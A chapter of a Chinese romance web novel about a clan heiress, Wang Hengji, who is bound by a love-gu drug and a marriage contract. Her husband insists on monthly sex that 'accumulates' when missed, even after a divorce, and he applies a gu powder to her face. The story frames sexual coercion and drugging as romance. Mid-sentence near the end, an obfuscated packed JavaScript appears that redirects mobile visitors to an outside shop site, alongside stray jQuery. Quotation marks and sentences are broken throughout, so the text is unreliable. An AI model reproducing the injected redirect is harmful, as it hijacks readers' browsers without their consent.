第 50 章 累积
    第50章累积

    雪花斜卧在低枝之上,风细细,天垂垂,鸟踪灭绝,远山道一片幽僻寥落。

    深山宛若被洗过,无垠的乳白色,荡涤着残秋最后的溽热,进入全然冬天。

    王姮姬在永宁寺温暖舒适的厢房中养了几天病,身体渐渐恢复了。

    她身上盖的被非比寻常,由一百名高僧亲手绣上的佛经,为佛经被,专门辟邪驱灾难,佑人平安无虞的。

    凭这矜贵的宝被,也该快快康复。

    冯嬷嬷腿上有疾暂时不能伺候,这几日由桃枝和桃干形影不离地照顾她。

    管制十分严苛,王姮姬每日三餐需严格试毒,经手之物尤其是香料一类的必须验过,连出门透透气都不行。

    其实没必要如此,她又不是泥土做的人,遇水即化。

    桃干胆怯地说,“小姐出门还是先问过姑爷吧,姑爷这几天都在。”

    王姮姬道:“怎么,我被圈禁了吗,连踏出房门都要请示他?”

    桃干道:“小姐那日从风雪中回来半死不活的,姑爷发了很大的火,言语没怎么留情面,把许太妃二人责哭了。之后便撂下一道命令,您醒了先禀告他。”

    王姮姬不知郎灵寂又犯哪门子神经,她修养数日,对外界情况知之甚少,局面似乎正发生着改变。

    但那日临走前,说好了和离。

    成堆成山的公文牍篇送到王姮姬面前,这几日她人虽病着,这些紧急朝政要务需家主亲自签诺盖戳。

    一张长长的红木四季如意书桌摆在面前,她和郎灵寂面对面处理公文。

    两人皆有各自的事要忙,埋头奋笔疾书,谁也没空理对方。许久许久,只余墨迹滑过纸张窸窸窣窣的摩擦声。

    直到晌午。

    郎灵寂将公文分门别类整理好了,移到她面前,淡淡道:“这摞要封箓诺之。”

    王姮姬拿起印章,这些公文统统落款为吏部、刑部、尚书、皇帝朱批等重要字样,她连信皮都没拆掉,对于内容更是一无所知,就被要求封诺。

    “我怎么跟你的傀儡似的。”

    她忍不住犹豫。

    印玺悬在半空,迟迟未落定。

    他让她签什么,她就签什么。

    郎灵寂无视她怀疑的神色,有种诡异的平静感,“你若嫌累,印玺给我。”

    王姮姬缩了缩手,未曾轻易交出印玺。她前段时日确实想当甩手掌柜,但现在想清楚了,要承担家族的责任。

    “不。她说。

    郎灵寂轻呵,长指撩着她额前碎发,影影绰绰的温柔,“什么事我都替你做好了,你坐享其成还不知足?又不会害你家。

    王姮姬郑重地道:“我名义上身为家主,实际连傀儡都不如,这些事情你可以教我、告诉我,容我慢慢上手,却不能大包大揽地代劳,否则就是想架空我。

    他不以为然,“我对你家绝对忠诚,你可以百分百依赖,连你哥上战场都是我指挥的,次次都是胜仗。

    王姮姬不屑地撇开他的手,道:“那不一样,你会是你会,我会是我会,授之以鱼不如授之以渔。

    这话把界限分得再清晰不过,王家是她的,不是他的,她才是东家。

    长久地依赖他,必然会使她失去自我思考的能力,整个琅琊王氏任他拿捏。

    她从爹爹手中接过琅琊王氏,就不能毁了琅琊王氏,对家族的前途负责。

    郎灵寂微微弓下身体,“不是前两天还要把印玺送我?

    王姮姬顿时感到一股巨大的气窒感,与他咫尺之距,呼吸交织,内心仿佛都被看透,撑着说:“我改变主意了。你教我,把权力还给我。

    他向后倚在椅背上,撒着两条长腿,朦胧散漫地说:“教你,可以啊。

    王姮姬眉梢微蹙,听起来似有言外之意,没那么简单,似还需要额外条件。

    “……能接受的。别太过分。

    “不过分。

    郎灵寂叉着手,“刚刚错过了十五,根据契约要补一次同房。

    王姮姬哪料到他提出这种无耻的要求,手心一攥冷汗直冒,立即反驳道:“契约里没这条,你休要胡说。

    “落在纸面上的黑字确实没这条,但那事我们不是口头约定过吗?

    他步步紧逼丝毫不让,锱铢必较,“少了一次,契约便不是契约了。

    这话听起来有些熟悉,那日罚跪许昭容他阻拦时,她似乎也说“契约缺了条件就不是契约了

    ——他们总用对方的话刺激对方。

    “那不要了,左右这条不合理。

    她坚守着自己的立场,提出补充方案,“你需要纾解的话,我支持你纳妾。

    郎灵寂拂了下手,断然拒绝,清亮又有力,“请不要推卸属于你的夫妻义务,家主。

    否则,情蛊便要催动了。

    情蛊催动,她会反过来求他。

    她言而无信又心思多变,情蛊这种强硬的方式

    ,庇护了彼此双方的利益。

    他的拒绝合情合理,他有洁癖,身体和心理双重的,不接受乱七八糟的女人像给猪狗配种一样,更忌讳因此得病。

    王姮姬耻于和许昭容共用一个男人,“错过了就是错过了,没有找补的。况且我这几日身体不舒服,夜里需要独处,良好的睡眠才能恢复得更快,你也不想让我长久病下去吧。

    郎灵寂泠然失笑,“谁说要陪你睡了,我也没有让陌生人陪睡的习惯。

    哪一次他们不是完事就分道扬镳,只是做的时间稍微长了些,好像整夜都睡在一起似的。其实他与她的界限,泾渭分明。

    “要你的前半夜,后半夜你尽可安眠。

    王姮姬吐口浊气,深知一旦纠缠就不是前半夜的事了,兴致来了整夜也是他,她掐着时间喊停,却哪里逃得出床榻,上榻便身不由己了。

    她掌心微抖,据理力争,“你非要在这时候为难吗?这么做我身上会很难受,你根本就没有‘善待’我。

    爹爹将琅琊王氏交给他的条件之一是善待她,这条件当然不是口头说说的,毕竟偌大的琅琊王氏都是他的了,他得付出实际行动,不能光享利益不付账。

    郎灵寂漫唔了声,做出少许让步,“你雪天着了风寒,想推迟同房可以理解,但相应的次数会累积到下一月的十五。

    王姮姬不悦,“累积?

    他冷漠地睨着她。

    按照约定,他每个月的十五夜里可以要她一次。但上月错过了,这月她又不舒服,那么下月十五的时候,他将公平合理地要她三次,她不可以推诿扯皮。

    王姮姬倒抽了口凉气,没见过这么个累积法,连毫末都要算得清清楚楚。

    三次,她不懂是什么概念,但一次就已让她痛苦无比,处于濒死的边缘了。

    “若我下个月十五仍然有事要推迟呢?

    “继续累积。下下个月四次。

    王姮姬,“若仍然不行呢?

    郎灵寂澹静地笑了下,语气清晰而阴冷,“王姮姬,劝你不要那样。

    他倒没什么的,“……你受得住?

    现在嘴硬没关系,榻上别给他晕,他对尸体一样的女人不感兴趣。

    他要求她全程高度清醒着,精力集中。无论是一次,二次,三次,四次还是更多次,每次都应该是实打实的。

    同房需要一些仪式感,他们俩本来是无利不起早的交易关系,说好的条件,便半分打折扣不得。

    王姮姬不知怎么面

    对眼前这个思维缜密又无孔不入的男人,他总比旁人超脱清醒,无论是朝堂大事还是床帐小事,对于失去的利益,一定按斤按两地补回来。

    公事公办,又不通人情。

    他那么冷血,更适合去做商人,一定会做得有声有色,天下巨富。

    他从政简直是祸害人。

    “是吗?”

    她朱唇轻启,还有个秘密武器,“记得琅琊王殿下您答应了和离,冯嬷嬷她们都听见了,您不会要出尔反尔吧。”

    郎灵寂顿时浮起一片危险的漩涡,似乎确实说过这话,当时因为罚跪许昭容的事,她口口声声要求和离,他答应了。

    “不会。”

    王姮姬翘起唇角讥讽,薄情地道,“那您还说这些无聊的废话作甚?”

    君子一言,驷马难追。

    郎灵寂仍然保持着可怖的镇定,“你说的才是废话吧,和离与我们同房有关系吗?”

    王姮姬不怿地石化了一瞬,这话的意思有点冒昧。

    “您在想什么,都和离了,还同房?”

    他轻描淡写,“和离是和离,契约是契约,每月十五的同房是你我两家之间的纽带,双方需履行的。莫说和离,便是以后你二嫁三嫁,每月十五的同房都是雷打不动的,这还用多说么。”

    并非什么刻薄的要求,每三十天一次而已。若这点子要求都做不到,她还幻想着什么自由,什么和离。

    王姮姬震愕,他面不改色说出这般衣冠禽兽言论,就像她和文砚之定婚的那个晚上,他截住她,要求她退婚。后来又截住她,要求她三年之后与文砚之和离。

    他的要求,总那样荒谬离谱。

    偏偏他对此深深信仰,并坚定不移地执行下去,潜移默化迫使别人改变。

    这是一个危险的信号,他既这么说了,以后便真的会按这么做。

    “你做梦……”

    郎灵寂掐住了她的腰,轻轻,“你看看,是不是做梦。”

    王姮姬捺着怒。

    所以呢,和离也要每月十五圆房,即便她将来嫁了人,也要继续和他同房,丝毫不顾及另一位夫婿的感受。

    和离有什么意义呢?

    只要琅琊王氏用得着他一天,她就永远无法摆脱他,像光和影的纠缠。

    “这不可能。”她强硬着语气,“这么做没有伦理道德,既然和离了就该断得清清楚楚。若真如此,恐怕我二嫁夫婿不会答应,实侮辱了人家。”

    换位思考,他受得了眼睁睁看着许昭容每月十

    五与别的男子同房吗?

    这要求,既荒谬且无耻。

    郎灵寂摇头,毋庸置疑,并不中她话语埋的圈套。他无意识的神色,轻而温柔,仿佛沾了理性的冷釉色。

    “你们家找女婿素来是入赘的,赘婿仿佛没有资格指责家主吧。

    说白了就是男妾,有什么权力。

    别以为他不知道,文砚之当时在王家忍气吞声,受尽了欺负,甚至连上桌用膳的资格都没有,没半分人权,最终忍无可忍之下投奔了朝廷。

    妻子就算每月十五都和别人同房,王家赘婿又敢说什么吗?琅琊王

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14116030|149818||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    氏门高非偶,谁吃了熊心豹子胆插手家主的事。

    “所以你放心履行约定。

    郎灵寂顺着她内心想法描画,“再招赘一个老实软弱的不就行了?我替你把关,不影响咱们十五同房。

    王姮姬清清楚楚看透了他的傲慢,恨道,“老实人就活该受欺负吗?

    郎灵寂平铺直叙,“你请我愿的事谈什么欺负,能当王小姐你的夫婿,即便只是挂名也荣耀无比,天下哪个男子不愿。何况我作为前夫每月只要你一天,剩下时间都是他的。

    王姮姬侧首,厌倦了再跟他无意义地辩驳下去。她根本动摇不了他,反而被他戏弄调谑,平白当了乐子。

    若真和离了,她再招赘一个夫婿,等待她的不是幸福的生活,而是她和那个新的夫婿一块沦为他的玩物。

    搓扁揉圆,任意拿捏。

    他一开始就根本没想放她和离,却说些不着边际的话,蓄意耍弄她。

    以他那变态而恶劣的个性,说不定让新夫婿跪着,活生生在外面看。

    “你真的很过分。

    他打量着,“怎么样,成交?

    王姮姬齿然,“用心不诚。

    他瞧着她的挣扎与窘境,漫漫笑了。

    “如果实在接受不了,就别提和离。

    郎灵寂不再问了,转而吻吻她手背,透着微凉,像远山过雨雪漫长空,“你想要显赫家族,扬名显亲,我都会献给你,姮姮。

    而且他可以保证永远不侵吞琅琊王氏,绝不自立,永远维护她的绝对权威。琅琊王氏的权力他只暂借来用,取之于王氏,用之于王氏。

    “没有比和我交易更划算的。

    王姮姬失神地瘪了瘪嘴,后面几十年要怎么熬过去。情蛊和家主之位,将她敢想敢拼的人生困得死死的。

    “算了,

    她浓浓地叹息,对命运的遗憾,和离既离不成,

    便道,“你永远不能骗我和二哥,中饱私囊,瞒天过海,架空我们。”

    郎灵寂长嗯了声。

    王姮姬累了,就这样吧,她也没心情再讨价还价下去。刚要起身离开,郎灵寂却揽住她的一截细腰,不让她走。

    “等等。”

    如西湖水一样纯蓝的粉末被镊子打开,郎灵寂右手皦白的指尖蘸取了一些,犹如雨沫尘色,“摘下面纱来。”

    王姮姬半信半疑地摘下来,下意识躲闪,不愿让别人看见她脸上的浮肿。

    郎灵寂左手二指却固定住她脸颊,右手将粉末往她脸上涂,动作静谧无声,似轻柔的雪花落在颊上的感觉。

    “是什么?”她不禁问,浑身难受。

    “别动。”他道,“药。”

    王姮姬还想问什么药,似乎没必要问,他赐予她的药,除了蛊别无其他。

    涂这药或许能治好她脸上的浮肿,却也会加深她的上瘾程度,她不愿如此。

    “没必要上吧。”

    反正过几日浮肿会自然痊愈。

    郎灵寂信誓旦旦,“有必要,若叫你二哥看见了,还以为谁欺负了你。”

    王姮姬哂,明明就有人欺负她了,还亡羊补牢地掩盖罪证,当面一套背后一套,怕别人揭开他伪善的真面目。

    她长睫压下去,垂垂如漆,“这糖果的粉末治脸有什么副作用吗?”

    郎灵寂凝着她玉颊上的浮肿,“你总不好好吃药,弄得快毁容了,只得碾碎了涂在脸上。”

    王姮姬,“我问有没有副作用。”

    他避而不答,“本来伤得不多。”

    王姮姬索性阖上了眼睛,避免目睹那有毒的蛊粉上脸,心中痛楚。左右她命运身不由己,涂与不涂药,都不是自己能决定的。

    永远不会忘记那天,他径直掰开她的嘴,将情蛊给她灌下去。她费了将近两个月的心血,辛辛苦苦寻方求药,积极治疗才摆脱了情蛊,毁灭只在一瞬间。

    “别让我疼就行。”她最后说。

    左右精神已麻木,只要肉身上不疼痛,就完全感受不到疼痛了。

    “好。”

    郎灵寂打磨的技巧有点特殊,在她眉骨周围反复摩挲,一遍又一遍不厌其烦,似乎故意欣赏着什么,拖延时间。

    二人相对而坐的姿势,很像画眉。恩爱情浓的夫妻,丈夫会给妻子画眉。

    她恍惚了下,随即又觉得不耐烦,扑棱着睫毛睁开眼,见他的喉结和衣裳下隐隐可见的冷白锁骨尽在眼前。

    她的手腕不知不觉被他扼住了。

    窗外新雪初霁,郎灵寂有些暧然地圈抱住她,赏着外面雪景。

    想要漂亮脸蛋,他也会帮她弄。

    因为他的诚信,他的原则,他的美学……他的契约精神。

    “批了一上午公文,累么。”

    “看会儿雪吧。”

    她道,“不累。”

    郎灵寂置若罔闻,“那陪我看会儿雪。”

    如此银装素裹的美丽雪景,之前忙着救她,都没好好观赏过。毕竟他们平时都困在深宅大院里,能在山里呼吸自由空气的日子很少。

    或许应该走出这间闭塞幽暗的禅院,到山间的广阔天地中走走,吮吸新鲜空气,甚至作诗作画,将这建康成看不见的风景留存下来。

    山川河流,涤荡人心,一场雪将大地上的种种污浊都洗清了。

    作者有话要说